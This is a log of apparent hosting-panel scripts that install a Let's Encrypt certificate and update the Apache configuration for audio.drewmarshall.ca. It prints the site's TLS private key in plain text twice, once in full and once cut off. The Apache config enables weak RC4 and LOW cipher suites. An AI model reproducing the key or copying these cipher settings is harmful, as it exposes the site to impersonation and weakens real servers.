g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0
2025-12-04 06:00:19:
chmod 755 /tmp/pkp618446; /tmp/pkp618446; rm /tmp/pkp618446
2025-12-04 06:00:19:
2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:24:
PUT: /tmp/pkp251085
#!/bin/bash
mkdir -p "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_audio/.well-known/acme-challenge/"
rm g9dlbzWhHQnumEyFazY8l4KPxOi915udo0pgsEN4ZJ0
2025-12-04 06:00:24:
chmod 755 /tmp/pkp251085; /tmp/pkp251085; rm /tmp/pkp251085
2025-12-04 06:00:24:
2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:24:
PUT: /tmp/pkp630290
#!/bin/bash
temp_file=$(mktemp)
TARGET=33fbf8d7936a8c67fb764b1ea4759d7a.crt
cat > $temp_file <<'endmsg'
12:13:57:c1:2c:03:85:ef:13:4f:f4:96:ff:af:24:02
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBlpd+IxYSU0pco3RE70WfZ+MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTUyWhcNMjYwMzA0MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDBoKasqR1yjeQ4U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8It
DPlWB+6bKSgpeGexCDy9SMPmtbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3Y
TIfMWeGgwKCKpq+5Ldvo/QHvcQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5q
m6wHPq8hscVVUsOW2y5ou+4D00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hF
Fspu26iq9uirrc1Es/uXScW0T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q
0n77udLks+zfQIPCDj5BMcP+ZK1IINYHAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFFr81x/St+G/ZhydrmW+r39ZKdteMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa5/KH
7QAABAMASDBGAiEA4ofejH3Vt1m+y9O7Mc7r4SmWMOFhrov/Lb89cJC1rh8CIQDy
vIgsZbZeKGfwoQhIWkOyYmb8U3r/eRBmSWb+tZQXaQB+AOMjjfKNoojgquCs8PqQ
yYXwtr/10qUnsAH8HERYxLboAAABmufyiuMACAAABQAnyYnuBAMARzBFAiEAwrm4
UTMW0VDkCfCPlmiRoCkJAiayDknk9aDoM648l/YCICFGnih1t6oDfpHgcPXKhltq
EWXOUYsUaRYKMpqKHv3PMA0GCSqGSIb3DQEBCwUAA4IBAQAMNAI2pxL7ApofZX+v
MKJh9c8LwfhTClXoyZfSU00Pn7cxcwNag/8bxI5jXj9xw3nxn40BJSgIVkaVbVdl
cg+/0BthszQkBaKCuhX0nIFBx1oIBTwdvq3Dw2lv/A6BUbdjIqCyBl9Yi9p2PbPY
k7YV9l2OcDXNFGKTHW8S8IAzfRgsONLOBNGAWhzlDGzX2BYqVPkjerHLxEuTDYSf
dIf9ZHutSkPxCUH0ct7Q0olmYxt2gvfbSGNrQU7JLQrP6nmnJaH7j2fkBwxtC4Ks
qDgJ1kiCTfXvQCsjsZFeool/o1jPlPeIg8rGnjcP/s/PN2T6AIMe1MMQXHHco1Fb
XI/R
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDBoKasqR1yjeQ4
U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8ItDPlWB+6bKSgpeGexCDy9SMPm
tbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3YTIfMWeGgwKCKpq+5Ldvo/QHv
cQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5qm6wHPq8hscVVUsOW2y5ou+4D
00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hFFspu26iq9uirrc1Es/uXScW0
T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q0n77udLks+zfQIPCDj5BMcP+
ZK1IINYHAgMBAAECggEBAIms+DZWvTiByZ9/R6LoB+zwJ1ghl9sW/EPPBSeIFFu6
uefWyVcW45ty2Ssh0rgCyKrMETage8e/IIQ//okOVqt1MzBZuiE7ry6dGCtIG98Q
IYyUbtFI6bRNnlVgJ31M2hocMWBDSlVc6O5e+d9zOgPLRYitFiytCImnQAmocEYK
pI7Z0ULTKBOeDGCSd6XLVNBMZ3ln3e32q4yVB8pEM+pKWyE5fzERoKRRLRb4vyXD
2nKDpyD1GyXfTDbK57G7FldymTae7ByjvrHI96hhTyxPWqFFIUkWGNCdKisxtojn
StSKeyfSdzA8vVIhI6OPlh48c6V+haeuZuCdhQrhp1kCgYEA+fnak1Meay3jmPQe
a8qpU5cxyl9hxniyxUOufAFR1wCJUPbykOAT9/5hbptUeHoSefZJGKvOZUphzWRm
O1bqdKgNAtTYzEywX4moDABM4etsFTiVHfbgi4P/X0lwRszSIC1k0e0OSQGPK3mN
ir01pvHP4XkH2xikxbZOf8SMp0UCgYEAxkssd4xBjE5FSiJr2XE+Uq73DW86TFrU
YlKsbfjaQrg4k9wpBxsztolYPTQJ8MqdZ40FrYVF3Bj67vn+VReaVosKyaZvZnNK
rD23+Upch1Uy4hfw1ha1p723BmNSbmz6HMn3FgCvtgDnyv3DA2LS4hHhxXvKhwJQ
fmqE0ofrptsCgYBTOzLgzNMbAqt+WQHsCA17DKOCa2HF0JhNgCyPk2zpdn9CGwdG
36UmdGeCiWuFtbeDLlLGSSYuqaaI2b4EUfs8nlu+rpoE5B/xn4b5f/wZWOai5jUY
RgQbz/ZuhqhAmp/4IMUp9JFGE6PU6OMM59T+YhNCUqcf90OdpQbcGdhvNQKBgQCD
qMIbljqnaAjFklk9hN02lQlgGCwDKoO9zNrEIej5R8v5EMME/uC1IDhAWt8Gy+D7
Mj1E2yppWwSxy7c81HEbaTJ+dU2eHorEFi6jDOamzMD+MZss6uMuPt7ZFPVUcHMY
zliKeWYxWCSPOTJUezc991WKhAkS30yGwz7xcmHa5QKBgQC/49Q7pGbHtVlPGMkh
FWb0WKP8zM8SKIRDXQGI+aAStqmBdpdXE5nEVMc6Xc5ZOM6GXTUGeMLYmPehrnJB
ceh8xHDy5/FgiBsDvATZMDBgTXLqpsZsr31EXbMWhf8daJE+4DI7qT7tKSPiXc34
Il3XwFbUZRUNR/32eC4ugChVDg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-04 06:00:24:
chmod 755 /tmp/pkp630290; /tmp/pkp630290; rm /tmp/pkp630290
2025-12-04 06:00:24:
dir=/etc/ssl/certs
2025-12-04 06:00:24:
PUT: /tmp/pkp220549
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-04 06:00:24:
chmod 755 /tmp/pkp220549; /tmp/pkp220549; rm /tmp/pkp220549
2025-12-04 06:00:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 45
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-04 06:00:24:
PUT: /tmp/pkp202301
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_audio_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_audio_ca.conf= 1'
fi
2025-12-04 06:00:24:
chmod 755 /tmp/pkp202301; /tmp/pkp202301; rm /tmp/pkp202301
2025-12-04 06:00:24:
2025-12-04 06:00:24:
PUT: /tmp/pkp684884
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-04 06:00:24:
chmod 755 /tmp/pkp684884; /tmp/pkp684884; rm /tmp/pkp684884
2025-12-04 06:00:24:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-04 06:00:24: Establishing a connection
2025-12-04 06:00:25:
PUT: /tmp/pkp251256
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-04 06:00:25:
chmod 755 /tmp/pkp251256; /tmp/pkp251256; rm /tmp/pkp251256
2025-12-04 06:00:25:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-04 06:00:25:
PUT: /tmp/pkp941668
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-04 06:00:25:
chmod 755 /tmp/pkp941668; /tmp/pkp941668; rm /tmp/pkp941668
2025-12-04 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf 1238
<VirtualHost *:80>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName audio.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt
DocumentRoot /var/www/drewmarshall_audio
<Directory /var/www/drewmarshall_audio>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/audio_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/audio_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-04 06:00:25:
PUT: /tmp/pkp208729
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-04 06:00:25:
chmod 755 /tmp/pkp208729; /tmp/pkp208729; rm /tmp/pkp208729
2025-12-04 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt 5381
12:13:57:c1:2c:03:85:ef:13:4f:f4:96:ff:af:24:02
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBlpd+IxYSU0pco3RE70WfZ+MMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjA0MDUwMTUyWhcNMjYwMzA0MDUwMTUxWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDBoKasqR1yjeQ4U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8It
DPlWB+6bKSgpeGexCDy9SMPmtbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3Y
TIfMWeGgwKCKpq+5Ldvo/QHvcQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5q
m6wHPq8hscVVUsOW2y5ou+4D00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hF
Fspu26iq9uirrc1Es/uXScW0T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q
0n77udLks+zfQIPCDj5BMcP+ZK1IINYHAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFFr81x/St+G/ZhydrmW+r39ZKdteMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8uZHJld21h
cnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB
/gSB+wD5AHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGa5/KH
7QAABAMASDBGAiEA4ofejH3Vt1m+y9O7Mc7r4SmWMOFhrov/Lb89cJC1rh8CIQDy
vIgsZbZeKGfwoQhIWkOyYmb8U3r/eRBmSWb+tZQXaQB+AOMjjfKNoojgquCs8PqQ
yYXwtr/10qUnsAH8HERYxLboAAABmufyiuMACAAABQAnyYnuBAMARzBFAiEAwrm4
UTMW0VDkCfCPlmiRoCkJAiayDknk9aDoM648l/YCICFGnih1t6oDfpHgcPXKhltq
EWXOUYsUaRYKMpqKHv3PMA0GCSqGSIb3DQEBCwUAA4IBAQAMNAI2pxL7ApofZX+v
MKJh9c8LwfhTClXoyZfSU00Pn7cxcwNag/8bxI5jXj9xw3nxn40BJSgIVkaVbVdl
cg+/0BthszQkBaKCuhX0nIFBx1oIBTwdvq3Dw2lv/A6BUbdjIqCyBl9Yi9p2PbPY
k7YV9l2OcDXNFGKTHW8S8IAzfRgsONLOBNGAWhzlDGzX2BYqVPkjerHLxEuTDYSf
dIf9ZHutSkPxCUH0ct7Q0olmYxt2gvfbSGNrQU7JLQrP6nmnJaH7j2fkBwxtC4Ks
qDgJ1kiCTfXvQCsjsZFeool/o1jPlPeIg8rGnjcP/s/PN2T6AIMe1MMQXHHco1Fb
XI/R
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDBoKasqR1yjeQ4
U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8ItDPlWB+6bKSgpeGexCDy9SMPm
tbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3YTIfMWeGgwKCKpq+5Ldvo/QHv
cQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5qm6wHPq8hscVVUsOW2y5ou+4D
00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hFFspu26iq9uirrc1Es/uXScW0
T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q0n77udLks+zfQIPCDj5BMcP+
ZK1IINYHAgMBAAECggEBAIms+DZWvTiByZ9/R6LoB+zwJ1ghl9sW/EPPBSeIFFu6
